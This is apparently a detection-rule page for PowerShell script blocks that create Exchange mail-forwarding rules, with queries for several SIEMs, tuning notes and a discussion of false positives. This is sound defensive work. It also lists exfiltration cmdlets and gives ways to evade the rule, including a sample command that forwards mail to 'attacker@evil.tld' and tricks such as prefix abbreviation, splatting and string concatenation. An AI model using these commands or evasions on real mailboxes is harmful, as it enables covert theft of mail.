Mail forwarding rule created in a script block

Siemphony@siemphonymediumT1114.003unverified

Matches AN1589's cmdlet half: a PowerShell script block that names an inbox, transport or mailbox cmdlet together with one of the parameters that actually redirects mail to another recipient. Both halves are required, because the cmdlet alone is ordinary administration — Set-Mailbox is used for a hundred unrelated settings — and the parameter name alone appears in any script that merely reports on forwarding. The whole selection sits on `ScriptBlockText` under EventID 4104, the field that carries the command text after the engine has resolved encoding or obfuscation; the same channel's 4103 records carry the cmdlet in `Payload` instead, so that feed needs a field mapping and is not matched here. The brief's other source, Security 4688, was not used: it sees only powershell.exe's own command line, which for an interactive Exchange session carries no cmdlet text at all. MITRE supplies the TargetMailbox and UserContext knobs; the cmdlet and parameter lists here are authored. Two limits worth stating: a forwarding rule created in the web client, in the mail client's own rules dialog, or through a Graph API call writes nothing to any Windows event channel — that activity is recorded in the tenant's own audit log, which is not in this brief — and EventID 4104 requires *Script Block Logging* to be enabled by policy, which is off in a default install, so zero rows here reads as quiet when it means blind. UNVERIFIED AS AUTHORED — derived from MITRE ATT&CK DET0576, not hand-written and not tested by its author. Any lab result is on this rule's own page.Full description

The 4 SIEM queries below are previews produced by Siemphony’s own translator, not pySigma, and none has been executed against a real backend — review before you deploy.

detection.yml

Sentinel · KQL

Run this as a search.

Event| where ((EventID == 4104 and (ScriptBlockText contains "New-InboxRule" or ScriptBlockText contains "Set-InboxRule" or ScriptBlockText contains "New-TransportRule" or ScriptBlockText contains "Set-TransportRule" or ScriptBlockText contains "Set-Mailbox")) and (ScriptBlockText contains "ForwardTo" or ScriptBlockText contains "ForwardAsAttachmentTo" or ScriptBlockText contains "RedirectTo" or ScriptBlockText contains "RedirectMessageTo" or ScriptBlockText contains "ForwardingSmtpAddress" or ScriptBlockText contains "ForwardingAddress" or ScriptBlockText contains "DeliverToMailboxAndForward" or ScriptBlockText contains "BlindCopyTo"))

Splunk · SPL

Run this as a search.

index=* ((EventID="4104" AND (ScriptBlockText="*New-InboxRule*" OR ScriptBlockText="*Set-InboxRule*" OR ScriptBlockText="*New-TransportRule*" OR ScriptBlockText="*Set-TransportRule*" OR ScriptBlockText="*Set-Mailbox*")) AND (ScriptBlockText="*ForwardTo*" OR ScriptBlockText="*ForwardAsAttachmentTo*" OR ScriptBlockText="*RedirectTo*" OR ScriptBlockText="*RedirectMessageTo*" OR ScriptBlockText="*ForwardingSmtpAddress*" OR ScriptBlockText="*ForwardingAddress*" OR ScriptBlockText="*DeliverToMailboxAndForward*" OR ScriptBlockText="*BlindCopyTo*"))

Elastic · ES|QL

Run this as a search.

FROM logs-*| WHERE ((event.code == 4104 AND (TO_LOWER(powershell.file.script_block_text) LIKE "*new-inboxrule*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*set-inboxrule*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*new-transportrule*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*set-transportrule*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*set-mailbox*")) AND (TO_LOWER(powershell.file.script_block_text) LIKE "*forwardto*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*forwardasattachmentto*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*redirectto*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*redirectmessageto*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*forwardingsmtpaddress*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*forwardingaddress*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*delivertomailboxandforward*" OR TO_LOWER(powershell.file.script_block_text) LIKE "*blindcopyto*"))

Wazuh · XML rule

Deploy to your manager — this is a rule, not a search.

<group name="sigma,windows,">  <!-- Rule ids must be unique on your manager; 100000+ is the user range. -->  <rule id="100000" level="7">    <!-- Set <if_sid> to the decoder/base rule for windows so this only evaluates relevant events. -->    <field name="EventID" type="pcre2">(?i)^4104$</field>    <field name="ScriptBlockText" type="pcre2">(?i)(New-InboxRule|Set-InboxRule|New-TransportRule|Set-TransportRule|Set-Mailbox)</field>    <field name="ScriptBlockText" type="pcre2">(?i)(ForwardTo|ForwardAsAttachmentTo|RedirectTo|RedirectMessageTo|ForwardingSmtpAddress|ForwardingAddress|DeliverToMailboxAndForward|BlindCopyTo)</field>    <description>Mail forwarding rule created in a script block</description>    <mitre>      <id>T1114.003</id>    </mitre>  </rule></group>

At a glance

Logsource: powershell / windows
Level: medium
Category: data_staging_exfil
Sigma status: experimental
Backends: 4 of 4 rendered
Updated: 30 Aug 2026
Rule ID: a49ae288-4a24-414f-816c-9524bc0347cb

ATT&CKT1114.003

T1114.003Email Forwarding Rule

ATT&CK® is a registered trademark of The MITRE Corporation. These mappings are the rule author’s, and are neither reviewed nor endorsed by MITRE.

Lessondata staging exfil

data staging exfilAI draft — unreviewed

01 · What this rule detects

AN1589 asks for inbox and transport rules created through Exchange cmdlets. The rule authors the cmdlet half only: a PowerShell script block that names a mailbox, inbox or transport cmdlet and one of the parameters that actually redirects mail to another recipient. Both halves are required. The cmdlet alone is ordinary administration — Set-Mailbox drives a hundred unrelated settings — and the parameter name alone appears in any script that merely reports on forwarding.

02 · Telemetry you need

The Windows PowerShell channel, EventID 4104, which requires Script Block Logging to be enabled by policy. It is off in a default install and in the MS/CIS baselines, so an estate that has not turned it on returns zero rows, and zero rows reads as quiet when it means blind. The same channel's 4103 records carry the command in Payload rather than ScriptBlockText; that feed needs a field mapping first and is not matched here. AN1589's other source, Security 4688, was not used — it sees only powershell.exe's own command line, which for an interactive Exchange session carries no cmdlet text at all.

03 · How the logic works

Both blocks read the same field, so the AND is really "these two strings appear in one script block". That is the shape of the rule and also its limit. The reviewer's headline finding is parameter spelling: PowerShell binds any unambiguous prefix, so Set-Mailbox -ForwardingSm attacker@evil.tld and New-InboxRule -ForwardT … both execute normally and match none of the eight literals. Matching stems — Forwarding, ForwardTo, Redirect, BlindCopyTo — would close that. Splatting breaks it from the other direction: $p=@{ForwardTo='…'}; Set-Mailbox @p puts the parameter in the block that built the hashtable and the cmdlet in another, and 4104 emits them as separate records, so neither record satisfies both halves. Note also what 4104 does and does not resolve. -EncodedCommand payloads are decoded before logging and Invoke-Expression'd strings are logged as their own blocks — but concatenation inside a block is logged verbatim, so & ('Set-Mail'+'box') defeats a literal match.

04 · Common false positives

Dominated by sanctioned administration. Mail admins and helpdesk set forwarding for departing or absent staff with exactly Set-Mailbox -ForwardingSmtpAddress — the supported command, the supported parameter, on the jump host where script block logging is most likely enabled. Joiner-mover-leaver runbooks fire the same call once per user, so an offboarding batch arrives as a burst from one service account. Hygiene scripts that hunt for unauthorised forwarding and clear it with -ForwardingSmtpAddress $null match on the same two terms as the abuse they are looking for, and compliance provisioning uses -BlindCopyTo to journal regulated mail.

05 · Detection maturity

tier_1: **, the lowest tier, and it stays there until it has been run against real data. UNVERIFIED — derived from DET0576, never executed against a log line. Coverage is one analytic of three: AN1590 (macOS Mail rules) and AN1592 (Linux .forward/procmail) have no rule here. A rule created in the web client, the mail client's own dialog, or through Graph writes nothing to any Windows channel — that lives in the tenant audit log, which this brief does not offer.
tier_2: is the account filter plus stem matching; Tier 3 is correlating rule creation with the forwarded mail that follows.

Tuning & false positivesexperimental · 4 declared

experimental (current stage)
test
stable

Written and reasoned about, but not yet run against real telemetry. Expect to tune it before trusting it.

Tuning tips

MITRE supplies the UserContext, TargetMailbox and TimeWindow knobs; the
level: medium rests on a suppression the detection does not contain — the
Compare the recipient domain against TargetMailbox to separate external

Declared by the author

Mail administrators and helpdesk staff setting forwarding for a departing or absent employee, which is done with exactly Set-Mailbox -ForwardingSmtpAddress or a New-InboxRule with -ForwardTo. On an administration jump host with script block logging enabled this is the highest-volume match, and it is why the level is not higher — the suppression is the account and the host role, since the command itself is the supported one.
Joiner-mover-leaver runbooks that call Set-Mailbox with -ForwardingAddress once per departing user, producing a burst of matches from a single service account whenever an offboarding batch runs. MITRE's UserContext knob is where those accounts get recorded.
Remediation and hygiene scripts that hunt for unauthorised forwarding and clear it, typically piping mailboxes into Set-Mailbox -ForwardingSmtpAddress $null — the audit tooling matches on the same two terms as the abuse it is looking for.
Compliance and supervision provisioning, where a transport rule is created with -BlindCopyTo or -RedirectMessageTo to journal a regulated group's mail to a review mailbox, run legitimately by the compliance team.

Noise check0 of 4 fired

Fires on none of the 4 ordinary behaviours the baseline holds for this log type. That is not a precision guarantee: it means only not caught by these 4 behaviours, and the next ordinary behaviour nobody wrote down may still match.

Run live against 65 hand-written events of ordinary corporate activity — backup agents, software distribution, patching, helpdesk scripts, EDR. It says nothing about how often the rule would fire in production, which is the number that actually exhausts an analyst.

Verification1 run

Not verified

Siemphony benign baseline
completed
Siemphony IR · 3 Sept 2026
No events matched, so this run proves nothing either way.

Test it yourselfin your browser

Runs here in your browser against public attack recordings. A preview — not the verification badge.

Recordings of T1114.003, evaluated against their — events.

Share this rule

/u/siemphony/a49ae288-4a24-414f-816c-9524bc0347cb

More from this repertoire

All compositions

Verdicts · reactions · comments

Community

Verdicts from engineers who actually deployed it, and the conversation around it.

Not yet reported on

Nobody has run this in a real environment and said what happened.

Verdicts from engineers who deployed it

0 cast

No verdicts reported yet. The first one is worth more than the tenth — say what you ran it against.

No comments yet. Someone who deploys this will have something to say about it.

Mail forwarding rule created in a script block

The detection

detection.yml

Sentinel · KQL

Splunk · SPL

Elastic · ES|QL

Wazuh · XML rule

Community

Verdicts from engineers who deployed it